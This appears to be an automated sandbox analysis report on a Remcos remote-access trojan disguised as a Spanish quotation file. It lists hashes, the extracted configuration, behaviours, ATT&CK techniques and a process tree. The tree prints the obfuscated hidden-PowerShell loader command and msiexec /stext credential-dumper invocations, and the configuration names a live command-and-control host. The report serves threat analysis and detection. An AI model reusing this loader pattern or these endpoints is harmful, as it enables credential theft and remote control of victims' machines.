remcos | 857596f38c587a4a832bdd9136cc593ab7073ca3bda87b513e4e13ee31af0a32

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
13/11/2024, 07:21

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General

Target

COTIZACIONSyCONSULTA#46789NOV24.bat.exe
Size

696KB
MD5

9481aae46f5f383c4cf6e5b3dacd68b4
SHA1

580a6fc8fb6c6609cfcd356e9894cdb5318135ee
SHA256

857596f38c587a4a832bdd9136cc593ab7073ca3bda87b513e4e13ee31af0a32
SHA512

ecc96befec7561eb4e5320f22f48d6fb0ddf837a8ba1eee6b823a80ff81b874f8553ef83001612d31d7a3b4a441e1fed2664ed40e10c72efca8e95a0da1c0b90
SSDEEP

12288:z8bn1Tfr3YmR1j+uP30YcUbA3pPru8escoGcZhAkFN2ZTyWy0ctqhm2V7P:zun1XdRV+u/Lcj3pusccAgN2ZT1HI2VD

Score

10^/10

remcos slaves collection discovery execution rat

Malware Config

Extracted

Family

remcos

Botnet

SLAVES

windowslavesclient.duckdns.org:1604

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-J3MJAP
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/4312-86-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/2260-83-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/5092-82-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/2260-83-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/4312-86-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3780	powershell.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	msiexec.exe

Blocklisted process makes network request 4 IoCs

flow	pid	Process
17	4784	msiexec.exe
28	4784	msiexec.exe
33	4784	msiexec.exe
34	4784	msiexec.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
4784	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
3780	powershell.exe
4784	msiexec.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 4784 set thread context of 4312	4784	msiexec.exe	103
PID 4784 set thread context of 2260	4784	msiexec.exe	104
PID 4784 set thread context of 5092	4784	msiexec.exe	105

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\resources\afskibes.lnk	COTIZACIONSyCONSULTA#46789NOV24.bat.exe
File opened for modification	C:\Windows\resources\0409\unedged\staveres.Del137	COTIZACIONSyCONSULTA#46789NOV24.bat.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	COTIZACIONSyCONSULTA#46789NOV24.bat.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 15 IoCs

pid	Process
3780	powershell.exe
3780	powershell.exe
3780	powershell.exe
3780	powershell.exe
3780	powershell.exe
3780	powershell.exe
3780	powershell.exe
3780	powershell.exe
3780	powershell.exe
5092	msiexec.exe
5092	msiexec.exe
4312	msiexec.exe
4312	msiexec.exe
4312	msiexec.exe
4312	msiexec.exe

Suspicious behavior: MapViewOfSection 4 IoCs

pid	Process
3780	powershell.exe
4784	msiexec.exe
4784	msiexec.exe
4784	msiexec.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	3780	powershell.exe
Token: SeIncreaseQuotaPrivilege	3780	powershell.exe
Token: SeSecurityPrivilege	3780	powershell.exe
Token: SeTakeOwnershipPrivilege	3780	powershell.exe
Token: SeLoadDriverPrivilege	3780	powershell.exe
Token: SeSystemProfilePrivilege	3780	powershell.exe
Token: SeSystemtimePrivilege	3780	powershell.exe
Token: SeProfSingleProcessPrivilege	3780	powershell.exe
Token: SeIncBasePriorityPrivilege	3780	powershell.exe
Token: SeCreatePagefilePrivilege	3780	powershell.exe
Token: SeBackupPrivilege	3780	powershell.exe
Token: SeRestorePrivilege	3780	powershell.exe
Token: SeShutdownPrivilege	3780	powershell.exe
Token: SeDebugPrivilege	3780	powershell.exe
Token: SeSystemEnvironmentPrivilege	3780	powershell.exe
Token: SeRemoteShutdownPrivilege	3780	powershell.exe
Token: SeUndockPrivilege	3780	powershell.exe
Token: SeManageVolumePrivilege	3780	powershell.exe
Token: 33	3780	powershell.exe
Token: 34	3780	powershell.exe
Token: 35	3780	powershell.exe
Token: 36	3780	powershell.exe
Token: SeDebugPrivilege	5092	msiexec.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 4680 wrote to memory of 3780	4680	COTIZACIONSyCONSULTA#46789NOV24.bat.exe	85
PID 4680 wrote to memory of 3780	4680	COTIZACIONSyCONSULTA#46789NOV24.bat.exe	85
PID 4680 wrote to memory of 3780	4680	COTIZACIONSyCONSULTA#46789NOV24.bat.exe	85
PID 3780 wrote to memory of 4784	3780	powershell.exe	98
PID 3780 wrote to memory of 4784	3780	powershell.exe	98
PID 3780 wrote to memory of 4784	3780	powershell.exe	98
PID 3780 wrote to memory of 4784	3780	powershell.exe	98
PID 4784 wrote to memory of 4312	4784	msiexec.exe	103
PID 4784 wrote to memory of 4312	4784	msiexec.exe	103
PID 4784 wrote to memory of 4312	4784	msiexec.exe	103
PID 4784 wrote to memory of 4312	4784	msiexec.exe	103
PID 4784 wrote to memory of 2260	4784	msiexec.exe	104
PID 4784 wrote to memory of 2260	4784	msiexec.exe	104
PID 4784 wrote to memory of 2260	4784	msiexec.exe	104
PID 4784 wrote to memory of 2260	4784	msiexec.exe	104
PID 4784 wrote to memory of 5092	4784	msiexec.exe	105
PID 4784 wrote to memory of 5092	4784	msiexec.exe	105
PID 4784 wrote to memory of 5092	4784	msiexec.exe	105
PID 4784 wrote to memory of 5092	4784	msiexec.exe	105

C:\Users\Admin\AppData\Local\Temp\COTIZACIONSyCONSULTA#46789NOV24.bat.exe
"C:\Users\Admin\AppData\Local\Temp\COTIZACIONSyCONSULTA#46789NOV24.bat.exe"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4680
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Rgerrighed=Get-Content -raw 'C:\Users\Admin\AppData\Local\idiograph\pseudocultural\Digitised194\Hypermyotonia\Selvskyldnerkautioners166.Ove';$Kropsvisitationerne=$Rgerrighed.SubString(55510,3);.$Kropsvisitationerne($Rgerrighed)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3780
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:4784
  - - C:\Windows\SysWOW64\msiexec.exe
      C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\fcwbtlwf"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:4312
  - - C:\Windows\SysWOW64\msiexec.exe
      C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\qebmtdhgicjq"
      4⤵
      Accesses Microsoft Outlook accounts
      System Location Discovery: System Language Discovery
      PID:2260
  - - C:\Windows\SysWOW64\msiexec.exe
      C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\syheuwsawkbvmrp"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5092

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_13urid2b.ytg.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\fcwbtlwf

Filesize
4KB

MD5
60a0bdc1cf495566ff810105d728af4a

SHA1
243403c535f37a1f3d5f307fc3fb8bdd5cbcf6e6

SHA256
fd12da9f9b031f9fa742fa73bbb2c9265f84f49069b7c503e512427b93bce6d2

SHA512
4445f214dbf5a01d703f22a848b56866f3f37b399de503f99d40448dc86459bf49d1fa487231f23c080a559017d72bcd9f6c13562e1f0bd53c1c9a89e73306a5

Download Submit
C:\Users\Admin\AppData\Local\idiograph\pseudocultural\Digitised194\Hypermyotonia\Selvskyldnerkautioners166.Ove

Filesize
54KB

MD5
dc17cbe567137cd2180d5d9008408c1b

SHA1
f6d6cb48deacb371ae5e948b614216411a957b8a

SHA256
a39ec711eead243210ca0061a2b0365b86f40b5114a4a17286960a36c668053d

SHA512
64bf594a0cee26fbdfafac1d552a7ab4dedbc566fa58d4af1c3bc22a6d11814e0511daed2cb8725b7d3c0a91765a980b2ebc4836c09fad159282db01edb64833

Download Submit
C:\Users\Admin\AppData\Local\idiograph\pseudocultural\Digitised194\Hypermyotonia\air.Uds

Filesize
286KB

MD5
d70569c20b50458964208f39851c03b9

SHA1
7f636f64924a61f6142e2781cba016a1f8a4c031

SHA256
c9f4d56807a02fd5f68868b28a745030c4faf370fbadca218cce69839de7ca73

SHA512
a56591ce7003ee5546ba02de2c791653e58f30aab8e86bce6827486b0b043c69339b6899357c92e48cc6b5226acd0d9e9067be2a380d9f521d635256501aac80

Download Submit
memory/2260-77-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/2260-83-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/2260-79-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/3780-60-0x000000007366E000-0x000000007366F000-memory.dmp

Filesize
4KB

Download
memory/3780-63-0x0000000009120000-0x000000000E2D4000-memory.dmp

Filesize
81.7MB

Download
memory/3780-15-0x00000000055E0000-0x0000000005602000-memory.dmp

Filesize
136KB

Download
memory/3780-16-0x0000000005EE0000-0x0000000005F46000-memory.dmp

Filesize
408KB

Download
memory/3780-17-0x0000000005F50000-0x0000000005FB6000-memory.dmp

Filesize
408KB

Download
memory/3780-27-0x0000000005FC0000-0x0000000006314000-memory.dmp

Filesize
3.3MB

Download
memory/3780-28-0x0000000006620000-0x000000000663E000-memory.dmp

Filesize
120KB

Download
memory/3780-29-0x0000000006650000-0x000000000669C000-memory.dmp

Filesize
304KB

Download
memory/3780-30-0x0000000007820000-0x00000000078B6000-memory.dmp

Filesize
600KB

Download
memory/3780-31-0x0000000006B30000-0x0000000006B4A000-memory.dmp

Filesize
104KB

Download
memory/3780-32-0x0000000006B80000-0x0000000006BA2000-memory.dmp

Filesize
136KB

Download
memory/3780-33-0x0000000007E70000-0x0000000008414000-memory.dmp

Filesize
5.6MB

Download
memory/3780-35-0x0000000008AA0000-0x000000000911A000-memory.dmp

Filesize
6.5MB

Download
memory/3780-36-0x0000000007A70000-0x0000000007AA2000-memory.dmp

Filesize
200KB

Download
memory/3780-38-0x0000000073660000-0x0000000073E10000-memory.dmp

Filesize
7.7MB

Download
memory/3780-37-0x000000006FAF0000-0x000000006FB3C000-memory.dmp

Filesize
304KB

Download
memory/3780-39-0x000000006FEC0000-0x0000000070214000-memory.dmp

Filesize
3.3MB

Download
memory/3780-49-0x0000000007AB0000-0x0000000007ACE000-memory.dmp

Filesize
120KB

Download
memory/3780-51-0x0000000073660000-0x0000000073E10000-memory.dmp

Filesize
7.7MB

Download
memory/3780-50-0x0000000007AE0000-0x0000000007B83000-memory.dmp

Filesize
652KB

Download
memory/3780-52-0x0000000007BE0000-0x0000000007BEA000-memory.dmp

Filesize
40KB

Download
memory/3780-53-0x0000000073660000-0x0000000073E10000-memory.dmp

Filesize
7.7MB

Download
memory/3780-54-0x0000000007D60000-0x0000000007D8A000-memory.dmp

Filesize
168KB

Download
memory/3780-55-0x0000000007D90000-0x0000000007DB4000-memory.dmp

Filesize
144KB

Download
memory/3780-56-0x0000000073660000-0x0000000073E10000-memory.dmp

Filesize
7.7MB

Download
memory/3780-58-0x0000000073660000-0x0000000073E10000-memory.dmp

Filesize
7.7MB

Download
memory/3780-61-0x0000000073660000-0x0000000073E10000-memory.dmp

Filesize
7.7MB

Download
memory/3780-12-0x0000000073660000-0x0000000073E10000-memory.dmp

Filesize
7.7MB

Download
memory/3780-62-0x0000000073660000-0x0000000073E10000-memory.dmp

Filesize
7.7MB

Download
memory/3780-66-0x0000000073660000-0x0000000073E10000-memory.dmp

Filesize
7.7MB

Download
memory/3780-14-0x0000000073660000-0x0000000073E10000-memory.dmp

Filesize
7.7MB

Download
memory/3780-10-0x000000007366E000-0x000000007366F000-memory.dmp

Filesize
4KB

Download
memory/3780-64-0x0000000073660000-0x0000000073E10000-memory.dmp

Filesize
7.7MB

Download
memory/3780-67-0x0000000073660000-0x0000000073E10000-memory.dmp

Filesize
7.7MB

Download
memory/3780-69-0x0000000073660000-0x0000000073E10000-memory.dmp

Filesize
7.7MB

Download
memory/3780-65-0x0000000073660000-0x0000000073E10000-memory.dmp

Filesize
7.7MB

Download
memory/3780-13-0x0000000005800000-0x0000000005E28000-memory.dmp

Filesize
6.2MB

Download
memory/3780-11-0x0000000004FE0000-0x0000000005016000-memory.dmp

Filesize
216KB

Download
memory/4312-76-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/4312-85-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/4312-81-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/4312-86-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/4784-96-0x0000000022A00000-0x0000000022A19000-memory.dmp

Filesize
100KB

Download
memory/4784-98-0x0000000000600000-0x0000000001854000-memory.dmp

Filesize
18.3MB

Download
memory/4784-107-0x0000000000600000-0x0000000001854000-memory.dmp

Filesize
18.3MB

Download
memory/4784-106-0x0000000000600000-0x0000000001854000-memory.dmp

Filesize
18.3MB

Download
memory/4784-74-0x0000000000600000-0x0000000001854000-memory.dmp

Filesize
18.3MB

Download
memory/4784-71-0x0000000000600000-0x0000000001854000-memory.dmp

Filesize
18.3MB

Download
memory/4784-105-0x0000000000600000-0x0000000001854000-memory.dmp

Filesize
18.3MB

Download
memory/4784-100-0x0000000000600000-0x0000000001854000-memory.dmp

Filesize
18.3MB

Download
memory/4784-97-0x0000000000600000-0x0000000001854000-memory.dmp

Filesize
18.3MB

Download
memory/4784-95-0x0000000022A00000-0x0000000022A19000-memory.dmp

Filesize
100KB

Download
memory/4784-99-0x0000000000600000-0x0000000001854000-memory.dmp

Filesize
18.3MB

Download
memory/4784-92-0x0000000022A00000-0x0000000022A19000-memory.dmp

Filesize
100KB

Download
memory/4784-101-0x0000000000600000-0x0000000001854000-memory.dmp

Filesize
18.3MB

Download
memory/4784-102-0x0000000000600000-0x0000000001854000-memory.dmp

Filesize
18.3MB

Download
memory/4784-103-0x0000000000600000-0x0000000001854000-memory.dmp

Filesize
18.3MB

Download
memory/4784-104-0x0000000000600000-0x0000000001854000-memory.dmp

Filesize
18.3MB

Download
memory/5092-82-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/5092-78-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/5092-80-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download